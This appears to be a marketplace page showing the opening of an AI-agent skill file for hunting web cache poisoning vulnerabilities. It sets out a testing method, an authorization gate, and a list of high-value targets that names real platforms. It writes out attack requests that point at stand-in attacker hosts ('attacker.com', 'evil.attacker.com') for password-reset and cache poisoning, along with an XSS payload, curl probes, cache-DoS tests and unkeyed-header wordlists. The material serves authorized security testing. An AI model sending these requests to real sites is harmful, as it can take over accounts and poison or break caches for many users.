sickn33/agentic-awesome-skills/hunt-cache-poison

Claude Code and agent skill by sickn33/agentic-awesome-skills

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

Hunting skill for cache poison vulnerabilities.

Install

npx vskill@latest install sickn33/agentic-awesome-skills/hunt-cache-poison

SKILL.md

⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Crown Jewel Targets

Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.

Highest-value targets:

  • CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — impact depends on cache key, edge location, routing and actual consumers
  • E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
  • Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
  • Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
  • Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
  • SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key

Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.


Autonomous Testing Priority

Two distinct attacks live under this skill — target the simpler one first.

Attack 1 — Password Reset Poisoning (Host header injection):

The app uses the Host header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=owned-test-user@example.test

Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), and the reset email received by your owned test account contains that hostname. A 2xx response or reflected marker alone does not prove the link was sent or usable.

Try multiple host headers — apps vary in which one they trust (X-Forwarded-Host is most common, but Host itself also works when the proxy passes it through).

Attack 2 — Web Cache Poisoning:

Inject the attacker-controlled hostname into X-Forwarded-Host on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.

Check for cache signals in the response: X-Cache: HIT, CF-Cache-Status: HIT, Age: <nonzero>, or Via: cloudfront/varnish/fastly.

Proof differs: reset poisoning requires inspecting the owned test inbox; cache poisoning requires a clean second request receiving the altered stored response under the same verified isolated cache key. Reflection alone proves neither.


Attack Surface Signals

URL patterns to look for:

  • cdn., assets., static., updates., downloads. subdomains
  • URL path structures with extensions that look static: /path/to/page.css, /account.php/nonexistent.jpg
  • Affiliate/link shortener endpoints: /link/, /go/, /ref/, /out/
  • Paths that mix dynamic content with cacheable-looking URLs

Response headers that signal a cache:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

JS/tech stack signals:

  • Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
  • Shopify/Linkpop stacks with third-party integrations
  • Platforms using path-based routing without normalizing trailing segments
  • Servers that reflect unvalidated headers into responses (Host, X-Forwarded-Host, X-Original-URL)

Dangerous header candidates (unkeyed inputs):

X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override

Step-by-Step Hunting Methodology

  1. Map cache infrastructure. Send a GET to the target and inspect response headers. Identify the caching layer (Cloudflare, Fastly, Varnish, Nginx). Note Age, X-Cache, CF-Cache-Status headers.
  1. Identify cache key components. Send two identical requests — if Age increments, the response is cached. Vary headers one-by-one (e.g., add X-Forwarded-Host) to determine which headers are NOT included in the cache key (unkeyed).
  1. Test unkeyed header reflection. Add X-Forwarded-Host: evil.com and check if the value appears in the response body (redirects, canonical links, CSP headers, JS src attributes, meta tags). Append a unique cache-busting query parameter (e.g. ?cb=<random>) only after proving this parameter is included in the cache key. An ignored parameter does not isolate a probe and can poison the normal public entry. (Param Miner's "Guess headers" mode is the canonical Burp tool for discovering these unkeyed headers/parameters automatically.)
  1. Test URL path manipulation (Web Cache Deception). Append fake static extensions to dynamic endpoints:
  • GET /account/profile.css
  • GET /dashboard/settings.jpg
  • GET /affiliate-link/target.js

Check if the server returns dynamic content AND the cache stores it.

  1. Test for DoS via cache poisoning. Send a request with a header that causes a 4xx/5xx error and check if that error response gets cached:
  • Malformed Host header
  • X-Forwarded-Host pointing to an invalid host
  • Oversized headers that trigger backend errors
  1. Confirm unkeyed parameter poisoning. Try query parameter fatigue or HTTP parameter pollution:
  • GET /page?utm_source="><script>alert(1)</script>

Check if the param is reflected and cached for clean requests to /page.

  1. Validate cache storage. After sending a potentially poisoned request, immediately request the same URL WITHOUT the malicious header from a different IP or incognito session. If you receive the poisoned response — it's confirmed.
  1. Measure cache TTL. Check Cache-Control: max-age and Age to understand how long the poison persists and whether it's exploitable before expiry.
  1. Check affiliate/link flows specifically. For platforms like Linkpop, test whether the referrer/product URL is embedded in a cacheable response that another user will receive.
  1. Document blast radius. Determine: global CDN edge (worldwide), regional cache, or single-server cache. This directly affects severity rating.

Payload & Detection Patterns

Confirm caching behavior:

bash
# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"

Test unkeyed X-Forwarded-Host:

bash
curl -s -H "X-Forwarded-Host: evil.attacker.com" \
"https://target.com/page" | grep -i "evil.attacker.com"

Test Web Cache Deception (path appending):

bash
# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
"https://target.com/account/profile.css"
# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"

Lab-only cache-key isolation candidate (verify keying first):

bash
# A unique parameter isolates only if independently verified as keyed; do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
"https://target.com/page?cb=$RANDOM"

Disposable lab only: error-response storage:

bash
curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
"https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"

Grep patterns in Burp/ZAP response history:

# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]
# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.
# Web cache deception indicators
Content-Type: text/css (but response is HTML/JSON)
Cache-Control: public.*max-age (on authenticated endpoint)

Parameter pollution test:

bash
curl -s "https://target.com/page?cb=1&param=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"

Burp Suite Intruder wordlist for unkeyed headers:

X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP

Origin header → ACAO cache poisoning

Add Origin to the unkeyed-header set. Test whether it is reflected into Access-Control-Allow-Origin and then cached: curl -H "Origin: evil.example" URL -I on two consecutive hits. An attacker-specific cached ACAO may break reads from another origin. Wildcard ACAO is not automatically denial of service or credentialed disclosure; browsers reject wildcard origin with credentialed CORS. Demonstrate the exact browser, credentials, cached response and controlled second origin. Disclosed: reports/591302.

Common Root Causes

  1. CDN misconfiguration — caching based on URL path only. Engineers configure cache rules like "cache everything matching *.js" without realizing the path can be appended to dynamic routes. The origin server ignores the extra path segments, but the CDN uses them as cache keys.
  1. Unkeyed header forwarding. Developers configure reverse proxies to forward X-Forwarded-Host to backends for URL generation (canonical links, redirects, password reset emails) without including it in the cache key. The CDN caches the poisoned response.
  1. Web Cache Deception via permissive routing. Frameworks that normalize URLs (e.g., Rails, Express) accept /account/settings.css and serve the same response as /account/settings. The CDN sees a .css extension and applies aggressive caching rules.
  1. Shared caching of multi-tenant responses. SaaS platforms that use a single CDN without tenant isolation in the cache key allow cross-tenant cache poisoning.
  1. Error responses cached without thought. Backend errors (404, 500) triggered by attacker-controlled input get cached, causing DoS for legitimate users. Developers implement caching without excluding error status codes.
  1. Lazy `Vary` header implementation. Developers know they should add Vary: X-Forwarded-Host but forget, or CDNs strip/ignore Vary headers entirely (Cloudflare historically strips Vary on some asset types).
  1. Third-party integrations with URL reflection. Affiliate/link tracking systems (like Shopify Linkpop) reflect the destination URL in metadata, canonical tags, or redirects — and these get cached globally.

Bypass Techniques

This is the start of the file. Read the full SKILL.md on GitHub.

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
47,054
Repository forks
6,853
7-day trend score
54

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/sickn33/agentic-awesome-skills/hunt-cache-poison/badge)](https://verified-skill.com/skills/sickn33/agentic-awesome-skills/hunt-cache-poison)

Something wrong with this skill or its page? Tell us.